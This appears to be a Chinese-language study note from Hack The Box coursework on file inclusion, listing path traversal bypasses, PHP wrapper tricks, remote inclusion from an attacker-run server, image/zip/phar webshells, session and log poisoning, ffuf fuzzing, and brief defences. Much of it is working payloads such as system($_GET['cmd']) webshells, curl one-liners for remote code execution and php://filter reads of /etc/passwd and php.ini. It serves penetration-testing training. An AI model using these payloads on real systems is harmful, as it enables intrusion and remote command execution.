HTB渗透学习-FILEINCLUSION

FILE INCLUSION

LFI

  • PHP

    • include(), include_once(), require(), require_once(), file_get_contents()
  • NodeJS

    • readFile(), write(), render()
  • Java

    • include, import
    • <c:import url= "<%= request.getParameter('language') %>"/>
  • .NET

    • Response.WriteFile(), @Html.Partial(), Response.WriteFile(), include

Path Traversal

  • 可以尝试../../../../etc/passwd

  • 也可以直接/etc/passwd

  • 基础绕过

    • 文件名前缀,如include("lang_" . $_GET['language']);

      • 可尝试/lang_/../../../../../../etc/passwd(如果路径存在)
    • 文件扩展名后缀,如include($_GET['language'] . ".php");

      • 路径截断(PHP5.4之前):non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]
      • 空字节注入(PHP5.5之前):/etc/passwd%00
    • 基础替换,如$language = str_replace('../', '', $_GET['language']);

      • 双写绕过即可….//….//….//….//etc/passwd
    • 编码,如URL编码

      • 将payload编码即可
    • 路径限制,如if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {include($_GET['language']);}

      • Fuzz路径

PHP Filter

  • php://filter/

    • 尝试base64通过LFI读源码 php://filter/read=convert.base64-encode/resource=config
  • FUZZ php文件

    • 可以用FFUF ffuf -w directory-list-2.3-small.txt:FUZZ -u http://94.237.59.199:36413/FUZZ.php

PHP Wrapper

  • PHP Wrapper 是一个设计模式或编程工具,用于封装 PHP 函数或库,以提供额外的功能或简化其使用。它的作用是通过对现有代码进行封装,为开发者提供更简洁、更易用的接口,同时可能添加一些扩展功能,如日志记录、错误处理、输入输出转换等。

  • Data wrapper:最简单的Wrapper,需要设置里的allow_url_include开启才能利用。

    • 如果有LFI漏洞并能读取PHP配置文件,就可以查看是否可以利用Wrapper。
    • PHP配置文件一般在/etc/php/<Version>/apache2/php.ini
    • 如,用LFI读取Apache2的PHP7.4配置文件 curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
    • 然后进行读取echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
    • 最后进行RCEecho '<?php system($_GET["cmd"]); ?>' | base64
    • curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
  • Input wrapper:也需要allow_url_include开启。使用POST方法。

    • curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
  • Expect wrapper:一个外部wrapper,需要被手动安装在后台服务器上。可以通过查看配置文件是否包含expect,即extension=expect来看是否可以利用。

    • 直接通过LFI来RCE:curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"

RFI

  • PHP

    • include()/include_once(), file_get_contents()
  • Java

    • import
  • .NET

    • @Html.RemotePartial(), include
  • 在PHP中,RFI要求allow_url_include是打开状态,最简单的测试方法就是在参数里加一个远程地址进去

    • VPS上开个HTTP服务,托管一个webshell,包含时就http://vpsip:port/webshell.php
    • 当HTTP被WAF了,可以VPS上开个FTP服务。
      • PHP默认是尝试匿名Auth的,
      • 所以可以VPS上sudo python -m pyftpdlib -p 21
      • 然后包含ftp://<OUR_IP>/shell.php&cmd=id
      • 如果FTP不能匿名Auth就包含时显式加用户名和密码ftp://user:pass@localhost/shell.php&cmd=id
  • SMB

    • 如果系统是Windows的,可以直接用SMB来包含协议,不需要allow_url_include是打开状态。(该方法最好在同一网络中,SMB访问互联网可能默认是关闭的)
    • VPS上使用smbserver.py(默认允许匿名认证)
    • 包含时直接用SMB访问\\<OUR_IP>\share\shell.php&cmd=whoami

LFI-RFI 文件上传

法1 制作图片马

  • 大致过程:通过上传来上传马,然后获取马的路径,最后用LFI访问上传的马
    • 制作GIF马

      • echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
    • 如果不知道上传点,可FUZZ出上传路径,进而得到上传文件路径。

法2 制作zip马

  • 大致原理:使用zip wrapper执行php代码
    • 制作zip马echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
    • 此时,shell.jpg仍然会被一些上传方式识别为zip文件(content-type)
    • 使用zip://的wrapper访问这个zip文件
      • zip://./profile_images/shell.jpg%23shell.php&cmd=id
      • 访问shell.jpg这个zip文件中的shell.php(shell.jpg#shell.php)

法3 利用Phar wrapper

  • 大致过程:使用phar:// wrapper
    首先,写一个可被编译为phar文件,生成一个shell.txt文件的shell.php:
    1
    2
    3
    4
    5
    6
    7
    <?php
    $phar = new Phar('shell.phar');
    $phar->startBuffering();
    $phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
    $phar->setStub('<?php __HALT_COMPILER(); ?>');

    $phar->stopBuffering();
    之后,编译为phar文件,并且重命名为shell.jpg
    php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
    最后上传后使用phar wrapper执行
    phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

日志注入

PHP Session投毒

  • Linux下:/var/lib/php/sessions/
  • Windows下:C:\Windows\Temp
    Session的开头为sess_,可以f12查看自己的session,文件就是sess_<client_session>

可以通过修改Session值(如修改为%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E,即<?php system($_GET["cmd"]);?>)再多传一个get cmd参数就行了

注:这样的投毒一般只能完成一次指令,想要运行其它指令需要再次投毒。可以通过反向shell、写webshell等方式实现持久化。

Server Log投毒

  • Apache和Nginx都有log文件,如access.log、error.log等。

    • Nginx的log可以被低权限用户读(如www-data)
    • Apache的log如果没有配置错误的话,只能被权限用户读(root/adm组)
  • Apache的log默认路径

    • Linux /var/log/apache2/
    • Windows C:\xampp\apache\logs\
  • Nginx的log默认路径

    • Linux /var/log/nginx/
    • Windows C:\nginx\log\
  • 可以用Seclists的LFI FUZZ来fuzz路径

  • 以access.log为例,access.log为Nginx和Apache都有的log文件,其中含有请求时间、IP 地址、请求的 URL、响应状态码、浏览器用户代理等内容(可能文件会非常大)

    • 首先确定LFI能访问到该log。
    • 如果能访问到,可以通过修改包头的字段(如使用BurpSuite修改包头的UA为一句话木马)将恶意内容添加到该log。
      • 也可以直接curl:curl -s "http://<SERVER_IP>:<PORT>/index.php" -A "<?php system($_GET['cmd']); ?>"
    • 使用LFI访问被投毒的log实现RCE。

自动化检测LFI

  • https://github.com/DragonJAR/Security-Wordlist中存在LFI字典

  • 使用ffuf测试web应用程序存在的参数

    • ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287
  • 使用ffuf测试某参数是否存在LFI

    • ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287
  • Fuzz系统文件

    • ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287
  • 服务器配置和log文件

    • ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287

防御LFI

  • 使用PHP函数:basename()
  • 在php.ini中将allow_url_include关闭
  • 在php.ini中设置open_basedir
  • 在php.ini中设置disable_functions,将system()函数禁用
  • 使用WAF